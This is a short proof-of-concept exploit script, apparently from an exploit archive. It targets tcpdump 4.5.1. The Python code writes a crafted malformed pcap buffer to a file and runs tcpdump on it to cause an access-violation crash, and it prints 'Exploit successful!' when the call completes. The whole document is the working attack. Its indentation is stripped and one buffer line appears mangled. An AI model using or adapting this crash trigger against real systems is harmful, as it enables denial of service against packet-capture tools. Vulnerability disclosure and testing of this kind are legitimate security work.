TCPDump 4.5.1 Crash Proof Of Concept

`# Exploit Title: tcpdump 4.5.1 Access Violation Crash  
# Date: 31st May 2016  
# Exploit Author: David Silveiro  
# Vendor Homepage: http://www.tcpdump.org  
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz  
# Version: 4.5.1  
# Tested on: Ubuntu 14 LTS  
  
from subprocess import call  
from shlex import split  
from time import sleep  
  
  
def crash():  
  
command = 'tcpdump -r crash'  
  
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'  
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'  
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'  
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'  
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"  
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"  
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'  
  
  
with open('crash', 'w+b') as file:  
file.write(buffer)  
  
try:  
call(split(command))  
print("Exploit successful! ")  
  
except:  
print("Error: Something has gone wrong!")  
  
  
def main():  
  
print("Author: David Silveiro ")  
print(" tcpdump version 4.5.1 Access Violation Crash ")  
  
sleep(2)  
  
crash()  
  
  
if __name__ == "__main__":  
main()  
  
`